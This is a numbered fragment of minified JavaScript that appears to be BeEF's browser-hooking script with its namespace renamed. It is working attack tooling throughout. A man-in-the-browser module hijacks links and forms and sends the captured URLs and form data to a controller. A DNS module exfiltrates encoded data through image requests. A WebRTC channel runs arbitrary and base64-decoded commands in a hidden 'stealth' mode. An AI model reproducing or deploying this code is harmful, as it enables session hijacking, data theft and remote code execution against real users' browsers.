1129mnE.encode.json={stringify:function(e){if("object"==typeof JSON&&JSON.stringify){try{s=JSON.stringify(e)}catch(e){}return s}var t=typeof e;if(null===e)return"null";if("undefined"==t)return'""';if("number"==t||"boolean"==t)return e+"";if("string"==t)return $j.quoteString(e);if("object"==t){if("function"==typeof e.toJSON)return $j.toJSON(e.toJSON());if(e.constructor===Date){var n=e.getUTCMonth()+1;n<10&&(n="0"+n);var i=e.getUTCDate();i<10&&(i="0"+i);var o=e.getUTCFullYear(),r=e.getUTCHours();r<10&&(r="0"+r);var a=e.getUTCMinutes();a<10&&(a="0"+a);var c=e.getUTCSeconds();c<10&&(c="0"+c);var u=e.getUTCMilliseconds();return u<100&&(u="0"+u),u<10&&(u="0"+u),'"'+o+"-"+n+"-"+i+"T"+r+":"+a+":"+c+"."+u+'Z"'}if(e.constructor===Array){for(var d=[],l=0;l<e.length;l++)d.push($j.toJSON(e[l])||"null");return"["+d.join(",")+"]"}var h=[];for(var p in e){var f,t=typeof p;if("number"==t)f='"'+p+'"';else{if("string"!=t)continue;f=$j.quoteString(p)}if("function"!=typeof e[p]){var m=$j.toJSON(e[p]);h.push(f+":"+m)}}return"{"+h.join(", ")+"}"}},quoteString:function(e){return e.match(this._escapeable)?'"'+e.replace(this._escapeable,function(e){var t=this._meta[e];return"string"==typeof t?t:(t=e.charCodeAt(),"\\u00"+Math.floor(t/16).toString(16)+(t%16).toString(16))})+'"':'"'+e+'"'},_escapeable:/["\\\x00-\x1f\x7f-\x9f]/g,_meta:{"\b":"\\b","\t":"\\t","\n":"\\n","\f":"\\f","\r":"\\r",'"':'\\"',"\\":"\\\\"}},$j.toJSON=function(e){return mnE.encode.json.stringify(e)},$j.quoteString=function(e){return mnE.encode.json.quoteString(e)},mnE.regCmp("mnE.encode.json"),
1130// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
1131/*!
1132 * @literal object: mnE.net.local
1133 *
1134 * Provides networking functions for the local/internal network of the zombie.
1135 */
1136mnE.net.local={sock:!1,checkJava:!1,hasJava:!1,initializeSocket:function(){if(this.checkJava)return mnE.browser.hasJava()?(this.checkJava=True,this.hasJava=True,1):(this.checkJava=True,this.hasJava=False,-1);if(this.hasJava){try{this.sock=new java.net.Socket}catch(e){return-1}return 1}return-1},getLocalAddress:function(){if(!this.hasJava)return!1;this.initializeSocket();try{return this.sock.bind(new java.net.InetSocketAddress("0.0.0.0",0)),this.sock.connect(new java.net.InetSocketAddress(document.domain,document.location.port?document.location.port:80)),this.sock.getLocalAddress().getHostAddress()}catch(e){return!1}},getLocalHostname:function(){if(!this.hasJava)return!1;this.initializeSocket();try{return this.sock.bind(new java.net.InetSocketAddress("0.0.0.0",0)),this.sock.connect(new java.net.InetSocketAddress(document.domain,document.location.port?document.location.port:80)),this.sock.getLocalAddress().getHostName()}catch(e){return!1}}},mnE.regCmp("mnE.net.local"),
1137// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
1138mnE.session.get_hook_session_id(),mnE.pageIsLoaded&&mnE.net.browser_details(),window.onload=function(){mnE_init()},window.onpopstate=function(e){if(mnE.onpopstate.length>0){e.preventDefault;for(var t=0;t<mnE.onpopstate.length;t++){var n=mnE.onpopstate[t];try{n(e)}catch(e){mnE.debug("window.onpopstate - couldn't execute callback: "+e.message)}return!1}}},window.onclose=function(e){if(mnE.onclose.length>0){e.preventDefault;for(var t=0;t<mnE.onclose.length;t++){var n=mnE.onclose[t];try{n(e)}catch(e){mnE.debug("window.onclose - couldn't execute callback: "+e.message)}return!1}}},
1139// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
1140mnE.mitb={cid:null,curl:null,init:function(e,t){mnE.mitb.cid=e,mnE.mitb.curl=t,window.XMLHttpRequest&&!window.ActiveXObject&&(mnE.mitb.sniff("Method XMLHttpRequest.open override"),function(e){XMLHttpRequest.prototype.open=function(t,n,i,o){if(o||-1!=n.indexOf("/hook.js")||-1!=n.indexOf("/dh?"))e.call(this,t,n,i,!0);else{var r,a=new RegExp(":[0-9]+"),s=a.exec(n);if(null!=s&&(r=s[0].split(":")[1]),"GET"==t){if(-1==n.indexOf(document.location.hostname)||null!=s&&r!=document.location.port)mnE.mitb.sniff("GET [Ajax CrossDomain Request]: "+n),window.open(n);else if(mnE.mitb.sniff("GET [Ajax Request]: "+n),mnE.mitb.fetch(n,document.getElementsByTagName("html")[0])){var c="";c=0==document.getElementsByTagName("title").length?document.title:document.getElementsByTagName("title")[0].innerHTML,history.pushState({Be:"EF"},c,n)}}else mnE.mitb.sniff("POST ajax request to: "+n),e.call(this,t,n,i,!0)}}}(XMLHttpRequest.prototype.open))},hook:function(){mnE.onpopstate.push(function(){mnE.mitb.fetch(document.location,document.getElementsByTagName("html")[0])}),mnE.onclose.push(function(){mnE.mitb.endSession()});for(var e=document.getElementsByTagName("a"),t=document.getElementsByTagName("form"),n=document.getElementsByTagName("li"),i=0;i<e.length;i++)e[i].onclick=mnE.mitb.poisonAnchor;for(var i=0;i<t.length;i++)mnE.mitb.poisonForm(t[i]);for(var i=0;i<n.length;i++)n[i].hasAttribute("onclick")&&(n[i].removeAttribute("onclick"),n[i].setAttribute("onclick","mnE.mitb.fetchOnclick('"+n[i].getElementsByTagName("a")[0]+"')"))},poisonAnchor:function(e){try{if(e.preventDefault,mnE.mitb.fetch(e.currentTarget,document.getElementsByTagName("html")[0])){var t="";t=0==document.getElementsByTagName("title").length?document.title:document.getElementsByTagName("title")[0].innerHTML,history.pushState({Be:"EF"},t,e.currentTarget)}}catch(e){mnE.debug("mnE.mitb.poisonAnchor - failed to execute: "+e.message)}return!1},poisonForm:function(e){e.onsubmit=function(t){for(var n=e.getElementsByTagName("input"),i="",o=0;o<n.length;o++)switch(o>0&&o<n.length-1&&(i+="&"),n[o].type){case"submit":break;default:i+=n[o].name+"="+n[o].value}return t.preventdefault,mnE.mitb.fetchForm(e.action,i,document.getElementsByTagName("html")[0]),history.pushState({Be:"EF"},"",e.action),!1}},fetchForm:function(e,t,n){try{var i=new XMLHttpRequest;return i.open("POST",e,!1,!0),i.setRequestHeader("Content-type","application/x-www-form-urlencoded"),i.onreadystatechange=function(){4==i.readyState&&""!=i.responseText&&(n.innerHTML=i.responseText,setTimeout(mnE.mitb.hook,10))},i.send(t),mnE.mitb.sniff("POST: "+e+"["+t+"]"),!0}catch(e){return!1}},fetch:function(e,t){try{var n=new XMLHttpRequest;return n.open("GET",e,!1,!0),n.onreadystatechange=function(){4==n.readyState&&""!=n.responseText&&(t.innerHTML=n.responseText,setTimeout(mnE.mitb.hook,10))},n.send(null),mnE.mitb.sniff("GET: "+e),!0}catch(t){return window.open(e),mnE.mitb.sniff("GET [New Window]: "+e),!1}},fetchOnclick:function(e){try{var t=document.getElementsByTagName("html")[0],n=new XMLHttpRequest;n.open("GET",e,!1,!0),n.onreadystatechange=function(){if(4==n.readyState&&""!=n.responseText){var i="";i=0==document.getElementsByTagName("title").length?document.title:document.getElementsByTagName("title")[0].innerHTML,history.pushState({Be:"EF"},i,e),t.innerHTML=n.responseText,setTimeout(mnE.mitb.hook,10)}},n.send(null),mnE.mitb.sniff("GET: "+e)}catch(t){window.open(e),mnE.mitb.sniff("GET [New Window]: "+e)}},sniff:function(e){try{mnE.net.send(mnE.mitb.cid,mnE.mitb.curl,e)}catch(e){}return!0},endSession:function(){mnE.mitb.sniff("Window closed.")}},mnE.regCmp("mnE.mitb"),
1141// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
1142/*!
1143 * @literal object: mnE.net.dns
1144 *
1145 * request object structure:
1146 * + msgId: {Integer} Unique message ID for the request.
1147 * + domain: {String} Remote domain to retrieve the data.
1148 * + wait: {Integer} Wait time between requests (milliseconds) - NOT IMPLEMENTED
1149 * + callback: {Function} Callback function to receive the number of requests sent.
1150 */
1151mnE.net.dns={handler:"dns",send:function(e,t,n,o){var r=function(e){var t="";for(i=0;i<e.length;++i)t+=e.charCodeAt(i).toString(16).toUpperCase();return t},a=encodeURI(r(t));mnE.debug(a),mnE.debug("_encodedData_ length: "+a.length);var s=63;mnE.debug("max_data_segment_length: "+s);var c=document.createElement("b");String.prototype.chunk=function(e){return void 0===e&&(e=100),this.match(RegExp(".{1,"+e+"}","g"))};var u=function(e){var t=new Image;t.src=mnE.net.httpproto+"://"+e,t.onload=function(){c.removeChild(this)},t.onerror=function(){c.removeChild(this)},c.appendChild(t)},d=a.chunk(s),l="0xb3";mnE.debug(d.length);for(var h=1;h<=d.length;h++)u(l+e+"."+h+"."+d.length+"."+d[h-1]+"."+n);o&&o(d.length)}},mnE.regCmp("mnE.net.dns"),
1152// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
1153mnE.net.connection={type:function(){try{var e=navigator.connection||navigator.mozConnection||navigator.webkitConnection,t=e.type;return/^[a-z]+$/.test(t)?t:"unknown"}catch(e){return mnE.debug("Error retrieving connection type: "+e.message),"unknown"}},downlinkMax:function(){try{var e=navigator.connection||navigator.mozConnection||navigator.webkitConnection,t=e.downlinkMax;return t||"unknown"}catch(e){return mnE.debug("Error retrieving connection downlink max: "+e.message),"unknown"}}},mnE.regCmp("mnE.net.connection"),mnE.net.cors={handler:"cors",response:function(){this.status=null,this.headers=null,this.body=null},request:function(e,t,n,i){var o,r=new this.response;XMLHttpRequest?"withCredentials"in(o=new XMLHttpRequest)&&(o.open(e,t,!0),o.onerror=function(){},o.onreadystatechange=function(){4===o.readyState&&(r.headers=this.getAllResponseHeaders(),r.body=this.responseText,r.status=this.status,i&&i(r?r:"ERROR: No Response. CORS requests may be denied for this resource."))},o.send(n)):"undefined"!=typeof XDomainRequest?(o=new XDomainRequest,o.open(e,t),o.onerror=function(){},o.onload=function(){r.headers=this.getAllResponseHeaders(),r.body=this.responseText,r.status=this.status,i&&i(r?r:"ERROR: No Response. CORS requests may be denied for this resource.")},o.send(n)):i&&i("ERROR: Not Supported. CORS is not supported by the browser. The request was not sent.")}},mnE.regCmp("mnE.net.cors"),
1154// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
1155mnE.are={status_success:function(){return 1},status_unknown:function(){return 0},status_error:function(){return-1}},mnE.regCmp("mnE.are");var getUserMedia=null,attachMediaStream=null,reattachMediaStream=null,webrtcDetectedBrowser=null,webrtcDetectedVersion=null,webrtcMinimumVersion=null;if(navigator.mozGetUserMedia){if(webrtcDetectedBrowser="firefox",webrtcDetectedVersion=parseInt(navigator.userAgent.match(/Firefox\/([0-9]+)\./)[1],10),webrtcMinimumVersion=31,window.RTCPeerConnection=function(e,t){if(webrtcDetectedVersion<38&&e&&e.iceServers){for(var n=[],i=0;i<e.iceServers.length;i++){var o=e.iceServers[i];if(o.hasOwnProperty("urls"))for(var r=0;r<o.urls.length;r++){var a={url:o.urls[r]};0===o.urls[r].indexOf("turn")&&(a.username=o.username,a.credential=o.credential),n.push(a)}else n.push(e.iceServers[i])}e.iceServers=n}return new mozRTCPeerConnection(e,t)},window.RTCSessionDescription=mozRTCSessionDescription,window.RTCIceCandidate=mozRTCIceCandidate,getUserMedia=webrtcDetectedVersion<38?function(e,t,n){var i=function(e){if("object"!=typeof e||e.require)return e;var t=[];return Object.keys(e).forEach(function(n){var i=e[n]="object"==typeof e[n]?e[n]:{ideal:e[n]};if(i.exact!==undefined&&(i.min=i.max=i.exact,delete i.exact),i.min===undefined&&i.max===undefined||t.push(n),i.ideal!==undefined){e.advanced=e.advanced||[];var o={};o[n]={min:i.ideal,max:i.ideal},e.advanced.push(o),delete i.ideal,Object.keys(i).length||delete e[n]}}),t.length&&(e.require=t),e};return mnE.debug("spec: "+JSON.stringify(e)),e.audio=i(e.audio),e.video=i(e.video),mnE.debug("ff37: "+JSON.stringify(e)),navigator.mozGetUserMedia(e,t,n)}:navigator.mozGetUserMedia.bind(navigator),navigator.getUserMedia=getUserMedia,navigator.mediaDevices||(navigator.mediaDevices={getUserMedia:requestUserMedia,addEventListener:function(){},removeEventListener:function(){}}),navigator.mediaDevices.enumerateDevices=navigator.mediaDevices.enumerateDevices||function(){return new Promise(function(e){e([{kind:"audioinput",deviceId:"default",label:"",groupId:""},{kind:"videoinput",deviceId:"default",label:"",groupId:""}])})},webrtcDetectedVersion<41){var orgEnumerateDevices=navigator.mediaDevices.enumerateDevices.bind(navigator.mediaDevices);navigator.mediaDevices.enumerateDevices=function(){return orgEnumerateDevices()["catch"](function(e){if("NotFoundError"===e.name)return[];throw e})}}attachMediaStream=function(e,t){mnE.debug("Attaching media stream"),e.mozSrcObject=t},reattachMediaStream=function(e,t){mnE.debug("Reattaching media stream"),e.mozSrcObject=t.mozSrcObject}}else navigator.webkitGetUserMedia?(webrtcDetectedBrowser="chrome",webrtcDetectedVersion=parseInt(navigator.userAgent.match(/Chrom(e|ium)\/([0-9]+)\./)[2],10),webrtcMinimumVersion=38,window.RTCPeerConnection=function(e,t){var n=new webkitRTCPeerConnection(e,t),i=n.getStats.bind(n);return n.getStats=function(e,t){if("function"==typeof e)return i(e,t);var n=function(e){var t={};return e.result().forEach(function(e){var n={id:e.id,timestamp:e.timestamp,type:e.type};e.names().forEach(function(t){n[t]=e.stat(t)}),t[n.id]=n}),t};return i(function(e){t(n(e))},e)},n},["createOffer","createAnswer"].forEach(function(e){var t=webkitRTCPeerConnection.prototype[e];webkitRTCPeerConnection.prototype[e]=function(){var e=this;if(arguments.length<1||1===arguments.length&&"object"==typeof arguments[0]){var n=1===arguments.length?arguments[0]:undefined;return new Promise(function(i,o){t.apply(e,[i,o,n])})}return t.apply(this,arguments)}}),["setLocalDescription","setRemoteDescription","addIceCandidate"].forEach(function(e){var t=webkitRTCPeerConnection.prototype[e];webkitRTCPeerConnection.prototype[e]=function(){var e=arguments,n=this;return new Promise(function(i,o){t.apply(n,[e[0],function(){i(),e.length>=2&&e[1].apply(null,[])},function(t){o(t),e.length>=3&&e[2].apply(null,[t])}])})}}),getUserMedia=function(e,t,n){var i=function(e){if("object"!=typeof e||e.mandatory||e.optional)return e;var t={};return Object.keys(e).forEach(function(n){if("require"!==n&&"advanced"!==n){var i="object"==typeof e[n]?e[n]:{ideal:e[n]};i.exact!==undefined&&"number"==typeof i.exact&&(i.min=i.max=i.exact);var o=function(e,t){return e?e+t.charAt(0).toUpperCase()+t.slice(1):"deviceId"===t?"sourceId":t};if(i.ideal!==undefined){t.optional=t.optional||[];var r={};"number"==typeof i.ideal?(r[o("min",n)]=i.ideal,t.optional.push(r),r={},r[o("max",n)]=i.ideal,t.optional.push(r)):(r[o("",n)]=i.ideal,t.optional.push(r))}i.exact!==undefined&&"number"!=typeof i.exact?(t.mandatory=t.mandatory||{},t.mandatory[o("",n)]=i.exact):["min","max"].forEach(function(e){i[e]!==undefined&&(t.mandatory=t.mandatory||{},t.mandatory[o(e,n)]=i[e])})}}),e.advanced&&(t.optional=(t.optional||[]).concat(e.advanced)),t};return mnE.debug("spec: "+JSON.stringify(e)),e.audio=i(e.audio),e.video=i(e.video),mnE.debug("chrome: "+JSON.stringify(e)),navigator.webkitGetUserMedia(e,t,n)},navigator.getUserMedia=getUserMedia,attachMediaStream=function(e,t){"undefined"!=typeof e.srcObject?e.srcObject=t:"undefined"!=typeof e.src?e.src=URL.createObjectURL(t):mnE.debug("Error attaching stream to element.")},reattachMediaStream=function(e,t){e.src=t.src},navigator.mediaDevices||(navigator.mediaDevices={getUserMedia:requestUserMedia,enumerateDevices:function(){return new Promise(function(e){var t={audio:"audioinput",video:"videoinput"};return MediaStreamTrack.getSources(function(n){e(n.map(function(e){return{label:e.label,kind:t[e.kind],deviceId:e.id,groupId:""}}))})})}},navigator.mediaDevices.addEventListener=function(){},navigator.mediaDevices.removeEventListener=function(){})):navigator.mediaDevices&&navigator.userAgent.match(/Edge\/(\d+).(\d+)$/)&&(webrtcDetectedBrowser="edge",webrtcDetectedVersion=parseInt(navigator.userAgent.match(/Edge\/(\d+).(\d+)$/)[2],10),webrtcMinimumVersion=12,attachMediaStream=function(e,t){e.srcObject=t},reattachMediaStream=function(e,t){e.srcObject=t.srcObject});"undefined"!=typeof module?module.exports={RTCPeerConnection:window.RTCPeerConnection,getUserMedia:getUserMedia,attachMediaStream:attachMediaStream,reattachMediaStream:reattachMediaStream,webrtcDetectedBrowser:webrtcDetectedBrowser,webrtcDetectedVersion:webrtcDetectedVersion,webrtcMinimumVersion:webrtcMinimumVersion}:"function"==typeof require&&"function"==typeof define&&define([],function(){return{RTCPeerConnection:window.RTCPeerConnection,getUserMedia:getUserMedia,attachMediaStream:attachMediaStream,reattachMediaStream:reattachMediaStream,webrtcDetectedBrowser:webrtcDetectedBrowser,webrtcDetectedVersion:webrtcDetectedVersion,webrtcMinimumVersion:webrtcMinimumVersion}}),
1156// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
1157mnErtcs={},globalrtc={},rtcstealth=!1,rtcrecvchan={},DmYwebrtc.prototype.initialize=function(){if(null==this.peerid)return 0;var e=JSON.parse(this.stunservers);return this.pcConfig={iceServers:[{urls:e,username:"user",credential:"pass"}]},this.turnDone=!0,this.signalingReady=this.initiator,this.maybeStart(),1},DmYwebrtc.prototype.forceTurn=function(e){var t=JSON.parse(e),n=createIceServers(t.uris,t.username,t.password);null!==n&&(this.pcConfig.iceServers=this.pcConfig.iceServers.concat(n)),mnE.debug("Got TURN servers, will try and maybestart again.."),this.turnDone=!0,this.maybeStart()},DmYwebrtc.prototype.createPeerConnection=function(){mnE.debug("Creating RTCPeerConnnection with the following options:\n config: '"+JSON.stringify(this.pcConfig)+"';\n constraints: '"+JSON.stringify(this.pcConstraints)+"'.");try{globalrtc[this.peerid]=new RTCPeerConnection(this.pcConfig,this.pcConstraints),globalrtc[this.peerid].onicecandidate=this.onIceCandidate,mnE.debug("Created RTCPeerConnnection with the following options:\n config: '"+JSON.stringify(this.pcConfig)+"';\n constraints: '"+JSON.stringify(this.pcConstraints)+"'.")}catch(e){return mnE.debug("Failed to create PeerConnection, exception: "),void mnE.debug(e)}globalrtc[this.peerid].onsignalingstatechange=this.onSignalingStateChanged,globalrtc[this.peerid].oniceconnectionstatechange=this.onIceConnectionStateChanged,globalrtc[this.peerid].ondatachannel=this.onDataChannel,this.dataChannel=globalrtc[this.peerid].createDataChannel("sendDataChannel",{reliable:!1})},DmYwebrtc.prototype.onIceCandidate=function(e){var t=null;for(var n in mnErtcs)!1===mnErtcs[n].allgood&&(t=mnErtcs[n].peerid);mnE.debug("Handling onicecandidate event while connecting to peer: "+t+". Event received:"),mnE.debug(e),e.candidate?(mnErtcs[t].sendSignalMsg({type:"candidate",label:e.candidate.sdpMLineIndex,id:e.candidate.sdpMid,candidate:e.candidate.candidate}),mnErtcs[t].noteIceCandidate("Local",mnErtcs[t].iceCandidateType(e.candidate.candidate))):mnE.debug("End of candidates.")},DmYwebrtc.prototype.processMessage=function(e){mnE.debug("Signalling Message - S->C: "+JSON.stringify(e));var t=JSON.parse(e);if(this.initiator||this.started)if(this.initiator&&!this.gotanswer)if(mnE.debug("processing the message, as the sender, no answers yet"),"answer"===t.type)for(mnE.debug(".. and we have an answer .."),this.processSignalingMessage(t),this.gotanswer=!0;this.msgQueue.length>0;)this.processSignalingMessage(this.msgQueue.shift());else mnE.debug(".. not an answer .."),this.msgQueue.push(t);else mnE.debug("processing a message, but, not as a receiver, OR, the rtc is already up"),this.processSignalingMessage(t);else mnE.debug("processing the message, as a receiver"),"offer"===t.type?(mnE.debug(".. and the message is an offer .. "),this.msgQueue.unshift(t),this.signalingReady=!0,this.maybeStart()):(mnE.debug(" .. the message is NOT an offer .. "),this.msgQueue.push(t))},DmYwebrtc.prototype.sendSignalMsg=function(e){var t=JSON.stringify(e);mnE.debug("Signalling Message - C->S: "+t),mnE.net.send("/rtcsignal",0,{targetmnEid:this.peerid,signal:t})},DmYwebrtc.prototype.noteIceCandidate=function(e,t){this.gatheredIceCandidateTypes[e][t]||(this.gatheredIceCandidateTypes[e][t]=1)},DmYwebrtc.prototype.onSignalingStateChanged=function(e){mnE.debug("Signalling has changed to: "+e.target.signalingState)},DmYwebrtc.prototype.onIceConnectionStateChanged=function(e){var t=null;for(k in globalrtc)globalrtc[k].localDescription.sdp===e.target.localDescription.sdp&&globalrtc[k].localDescription.type===e.target.localDescription.type&&(t=k);mnE.debug("ICE with peer: "+t+" has changed to: "+e.target.iceConnectionState),"connected"===e.target.iceConnectionState&&window.setTimeout(function(){mnErtcs[t].sendPeerMsg("ICE Status: "+e.target.iceConnectionState),mnErtcs[t].allgood=!0},1e3),"completed"===e.target.iceConnectionState&&window.setTimeout(function(){mnErtcs[t].sendPeerMsg("ICE Status: "+e.target.iceConnectionState),mnErtcs[t].allgood=!0},1e3),rtcstealth==t&&"disconnected"===e.target.iceConnectionState?(rtcstealth=!1,mnErtcs[t].allgood=!1,mnE.net.send("/rtcmessage",0,{peerid:t,message:t+" - has apparently gotten disconnected"})):0==rtcstealth&&"disconnected"===e.target.iceConnectionState&&(mnErtcs[t].allgood=!1,mnE.net.send("/rtcmessage",0,{peerid:t,message:t+" - has apparently gotten disconnected"}))},DmYwebrtc.prototype.goStealth=function(){rtcstealth=this.peerid,mnE.updater.lock=!0,this.sendPeerMsg("Going into stealth mode"),setTimeout(function(){rtcpollPeer()},5*mnE.updater.xhr_poll_timeout)},rtcpollPeer=function(){if(0==rtcstealth)return void(mnE.updater.lock=!1);mnE.debug("lub dub"),mnErtcs[rtcstealth].sendPeerMsg("Stayin alive"),setTimeout(function(){rtcpollPeer()},5*mnE.updater.xhr_poll_timeout)},DmYwebrtc.prototype.onDataChannel=function(e){var t=null;for(k in globalrtc)globalrtc[k].localDescription.sdp===e.currentTarget.localDescription.sdp&&globalrtc[k].localDescription.type===e.currentTarget.localDescription.type&&(t=k);mnE.debug("Peer: "+t+" has just handled the onDataChannel event"),rtcrecvchan[t]=e.channel,rtcrecvchan[t].onmessage=function(e){if(mnE.debug("Received an RTC message from my peer["+t+"]: "+e.data),"!gostealth"==e.data)1==mnE.updater.lock?setTimeout(function(){mnErtcs[t].goStealth()},.4*mnE.updater.xhr_poll_timeout):mnErtcs[t].goStealth();else if("!endstealth"==e.data)null!=rtcstealth&&(mnErtcs[rtcstealth].sendPeerMsg("Coming out of stealth..."),rtcstealth=!1);else if(0!=rtcstealth&&"%"==e.data.charAt(0))mnE.debug("message was a command: "+e.data.substring(1)+" .. and I am in stealth mode"),mnErtcs[rtcstealth].sendPeerMsg("Command result - "+mnErtcs[rtcstealth].execCmd(e.data.substring(1)));else if(0==rtcstealth&&"%"==e.data.charAt(0))mnE.debug("message was a command - we are not in stealth. Command: "+e.data.substring(1)),mnErtcs[t].sendPeerMsg("Command result - "+mnErtcs[t].execCmd(e.data.substring(1)));else if("@"==e.data.charAt(0)){mnE.debug("message was a b64d command");var n=new Function(atob(e.data.substring(1)));n(),0!=rtcstealth&&(mnE.updater.execute_commands(),mnE.updater.lock=!0)}else 0!=rtcstealth?(mnE.debug("received a message, apparently we are in stealth - so just send it back to peer["+rtcstealth+"]"),mnErtcs[rtcstealth].sendPeerMsg(e.data)):(mnE.debug("received a message from peer["+t+"] - sending it back to mnE"),mnE.net.send("/rtcmessage",0,{peerid:t,message:e.data}))}},DmYwebrtc.prototype.execCmd=function(e){return new Function(e)().toString()},DmYwebrtc.prototype.sendPeerMsg=function(e){mnE.debug("sendPeerMsg to "+this.peerid),this.dataChannel.send(e)},DmYwebrtc.prototype.maybeStart=function(){mnE.debug("maybe starting ... "),!this.started&&this.signalingReady&&this.turnDone?(mnE.debug("Creating PeerConnection."),this.createPeerConnection(),this.started=!0,this.initiator?(mnE.debug("Making the call now .. bzz bzz"),this.doCall()):(mnE.debug("Receiving a call now .. somebuddy answer da fone?"),this.calleeStart())):mnE.debug("Not ready to start just yet..")},DmYwebrtc.prototype.doCall=function(){var e=this.mergeConstraints(this.offerConstraints,this.sdpConstraints);globalrtc[this.peerid].createOffer(this.setLocalAndSendMessage,this.onCreateSessionDescriptionError,e),mnE.debug("Sending offer to peer, with constraints: \n '"+JSON.stringify(e)+"'.")},DmYwebrtc.prototype.mergeConstraints=function(e,t){var n=e;for(var i in t.mandatory)n.mandatory[i]=t.mandatory[i];return n.optional.concat(t.optional),n},DmYwebrtc.prototype.setLocalAndSendMessage=function(e){function t(){mnE.debug("Set session description success.")}function n(){mnE.debug("Failed to set session description")}var i=null;for(var o in mnErtcs)!1===mnErtcs[o].allgood&&(i=mnErtcs[o].peerid);mnE.debug("For peer: "+i+" Running setLocalAndSendMessage..."),globalrtc[i].setLocalDescription(e,t,n),mnErtcs[i].sendSignalMsg(e)},DmYwebrtc.prototype.onCreateSessionDescriptionError=function(e){mnE.debug("Failed to create session description: "+e.toString())},DmYwebrtc.prototype.onSetRemoteDescriptionSuccess=function(){mnE.debug("Set remote session description successfully")},DmYwebrtc.prototype.calleeStart=function(){for(;this.msgQueue.length>0;)this.processSignalingMessage(this.msgQueue.shift())},DmYwebrtc.prototype.processSignalingMessage=function(e){if(!this.started)return void mnE.debug("peerConnection has not been created yet!");if("offer"===e.type)mnE.debug("Processing signalling message: OFFER"),navigator.mozGetUserMedia?(mnE.debug("Moz shim here"),globalrtc[this.peerid].setRemoteDescription(new RTCSessionDescription(e),function(){var e=null;for(var t in mnErtcs)!1===mnErtcs[t].allgood&&(e=mnErtcs[t].peerid);globalrtc[e].createAnswer(function(t){globalrtc[e].setLocalDescription(new RTCSessionDescription(t),function(){mnErtcs[e].sendSignalMsg(t)},function(e){mnE.debug("setLocalDescription error: "+e)})},function(e){mnE.debug("createAnswer error: "+e)})},function(e){mnE.debug("setRemoteDescription error: "+e)})):(this.setRemote(e),this.doAnswer());else if("answer"===e.type)mnE.debug("Processing signalling message: ANSWER"),navigator.mozGetUserMedia?(mnE.debug("Moz shim here"),globalrtc[this.peerid].setRemoteDescription(new RTCSessionDescription(e),function(){},function(e){mnE.debug("setRemoteDescription error: "+e)})):this.setRemote(e);else if("candidate"===e.type){mnE.debug("Processing signalling message: CANDIDATE");var t=new RTCIceCandidate({sdpMLineIndex:e.label,candidate:e.candidate});this.noteIceCandidate("Remote",this.iceCandidateType(e.candidate)),globalrtc[this.peerid].addIceCandidate(t,this.onAddIceCandidateSuccess,this.onAddIceCandidateError)}else"bye"===e.type&&this.onRemoteHangup()},DmYwebrtc.prototype.setRemote=function(e){globalrtc[this.peerid].setRemoteDescription(new RTCSessionDescription(e),this.onSetRemoteDescriptionSuccess,this.onSetSessionDescriptionError)},DmYwebrtc.prototype.doAnswer=function(){mnE.debug("Sending answer to peer."),globalrtc[this.peerid].createAnswer(this.setLocalAndSendMessage,this.onCreateSessionDescriptionError,this.sdpConstraints)},DmYwebrtc.prototype.iceCandidateType=function(e){return e.indexOf("typ relay ")>=0?"TURN":e.indexOf("typ srflx ")>=0?"STUN":e.indexOf("typ host ")>=0?"HOST":"UNKNOWN"},DmYwebrtc.prototype.onAddIceCandidateSuccess=function(){mnE.debug("AddIceCandidate success.")},DmYwebrtc.prototype.onAddIceCandidateError=function(e){mnE.debug("Failed to add Ice Candidate: "+e.toString())},DmYwebrtc.prototype.onRemoteHangup=function(){mnE.debug("Session terminated."),this.initiator=0,this.stop()},DmYwebrtc.prototype.stop=function(){this.started=!1,this.signalingReady=!1,globalrtc[this.peerid].close(),globalrtc[this.peerid]=null,this.msgQueue.length=0,rtcstealth=!1,this.allgood=!1},mnE.webrtc={start:function(e,t,n,i,o){t in mnErtcs?0==mnErtcs[t].allgood&&(mnErtcs[t]=new DmYwebrtc(e,t,n,i,o),mnErtcs[t].initialize()):(mnErtcs[t]=new DmYwebrtc(e,t,n,i,o),mnErtcs[t].initialize())},status:function(e){if(Object.keys(mnErtcs).length>0)for(var t in mnErtcs)mnErtcs.hasOwnProperty(t)&&mnE.net.send("/rtcmessage",0,{peerid:t,message:"Status checking - allgood: "+mnErtcs[t].allgood});else mnE.net.send("/rtcmessage",0,{peerid:e,message:"No peers?"})}},mnE.regCmp("mnE.webrtc");